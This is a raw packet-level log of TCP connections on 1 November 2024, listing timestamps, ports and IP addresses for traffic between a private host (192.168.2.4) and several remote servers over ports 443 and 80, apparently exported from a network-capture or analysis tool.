Nov 1, 2024 05:52:20.065934896 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.065941095 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.112884045 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.120482922 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.121886969 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.121921062 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.121942043 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.121956110 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.122004032 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.126611948 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.130717039 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.130772114 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.130778074 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.136185884 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.136256933 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.136262894 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.150203943 CET	443	49753	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:20.150274038 CET	443	49753	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:20.150333881 CET	49753	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:20.151170015 CET	49753	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:20.151186943 CET	443	49753	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:20.151199102 CET	49753	443	192.168.2.4	184.28.90.27
Nov 1, 2024 05:52:20.151204109 CET	443	49753	184.28.90.27	192.168.2.4
Nov 1, 2024 05:52:20.187838078 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.188185930 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.188194036 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.237833023 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.242259979 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.243555069 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.243602991 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.243608952 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.246170998 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.246217966 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.246225119 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.252471924 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.252496004 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.252525091 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.252532005 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.252616882 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.257772923 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.301908970 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.301913977 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.347188950 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.347196102 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.363862991 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.363914013 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.363938093 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.367914915 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.367939949 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.367974043 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.367988110 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.368123055 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.370054007 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.370390892 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:20.370403051 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:20.370454073 CET	49746	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:20.370459080 CET	443	49746	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:20.379586935 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.379615068 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.379642963 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.379652023 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.379707098 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.409840107 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.456556082 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.456571102 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.485626936 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.485702038 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.485709906 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.486946106 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.486963987 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.487008095 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.487015009 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.487056017 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.489622116 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.495821953 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.495870113 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.495876074 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.501352072 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.501385927 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.501391888 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.542653084 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.542674065 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.542705059 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.542716980 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.542764902 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.608164072 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.609498978 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.609527111 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.609587908 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.609595060 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.609637976 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.618242025 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.623821020 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.623850107 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.623895884 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.623903036 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.623944044 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.664583921 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.664633036 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.664650917 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.664685011 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.664731979 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.664741039 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.664776087 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.706568956 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.729362011 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.729432106 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.729527950 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.729537010 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.730479956 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.733814001 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.733819962 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.739407063 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.739485979 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.739490986 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.742965937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:20.743207932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:20.744916916 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.744932890 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.744983912 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.744992018 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.745032072 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.745054007 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.745095015 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.745166063 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.745172977 CET	443	49752	142.250.181.238	192.168.2.4
Nov 1, 2024 05:52:20.745182037 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.745193005 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.745214939 CET	49752	443	192.168.2.4	142.250.181.238
Nov 1, 2024 05:52:20.747936964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:20.747970104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:20.748156071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:20.748156071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:20.753030062 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:22.184303999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:22.184365988 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:22.234766006 CET	49745	443	192.168.2.4	142.250.185.132
Nov 1, 2024 05:52:22.272104979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:22.272135019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:22.276947021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:22.276962996 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:22.276978016 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:22.860433102 CET	49723	80	192.168.2.4	199.232.214.172
Nov 1, 2024 05:52:22.867664099 CET	80	49723	199.232.214.172	192.168.2.4
Nov 1, 2024 05:52:22.867727995 CET	49723	80	192.168.2.4	199.232.214.172
Nov 1, 2024 05:52:23.058943987 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:23.059010983 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:23.075644016 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:23.080584049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:23.876661062 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:23.877715111 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:24.245117903 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:24.249921083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:25.026839972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:25.026894093 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:25.262502909 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:25.565534115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.111686945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.111696005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391037941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391051054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391072989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391088009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391098022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391107082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391119003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391128063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391144037 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391159058 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.391199112 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.391802073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391820908 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391844988 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.391865015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.391949892 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.391987085 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.392009974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.392052889 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.548405886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.548420906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.548437119 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.548449039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.548460960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.548470974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.548481941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.548481941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.548505068 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.548540115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.549156904 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.549170017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.549180031 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.549190998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.549201012 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.549227953 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.549676895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.549689054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.549699068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.549722910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.549735069 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.671832085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.671845913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.671863079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.671885014 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.671910048 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.671938896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.671969891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.671979904 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.671986103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.671998978 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.672008038 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.672017097 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.672025919 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.672029018 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.672034025 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.672055960 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.672074080 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.672873020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.672920942 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.672950983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.672990084 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.705291033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.705302954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.705312967 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.705352068 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.705382109 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.794925928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.794945955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.794955969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.795002937 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.795037031 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.795089006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.795100927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.795109987 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.795130968 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.795142889 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.795480013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.795490980 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.795500994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.795511007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.795528889 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.795555115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.796029091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.796051025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.796078920 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.796098948 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.828442097 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.828465939 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.828474998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.828561068 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.828609943 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.828619957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.828639030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.828658104 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.828670025 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.918601990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.918641090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.918674946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.918708086 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.918741941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.918792009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.918804884 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.918804884 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.918804884 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.918804884 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.918837070 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.919081926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.919107914 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.919123888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.919131994 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.919131994 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.919138908 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.919156075 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.919176102 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.951699018 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.951749086 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.951822042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.951848030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.951858044 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.951858044 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.951858044 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.951858044 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.951894999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.951894999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.952195883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.952210903 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:26.952243090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:26.952259064 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.041953087 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.041963100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.041976929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.042051077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.042073965 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.042112112 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.042121887 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.042155981 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.042288065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.042330980 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.042480946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.042493105 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.042529106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.042645931 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.042692900 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.042824984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.042835951 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.042845011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.042867899 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.042891979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.075124979 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.075139999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.075149059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.075160027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.075170994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.075179100 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.075195074 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.075222969 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.075428963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.075467110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.075488091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.075521946 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.180757046 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.180803061 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.180814981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.180825949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.180838108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.180855989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.180866957 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.180895090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.180934906 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.181030989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.181044102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.181056023 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.181067944 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.181088924 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.198472023 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.198482990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.198492050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.198544979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.198548079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.198559999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.198560953 CET	49760	80	192.168.2.4	185.215.113.206
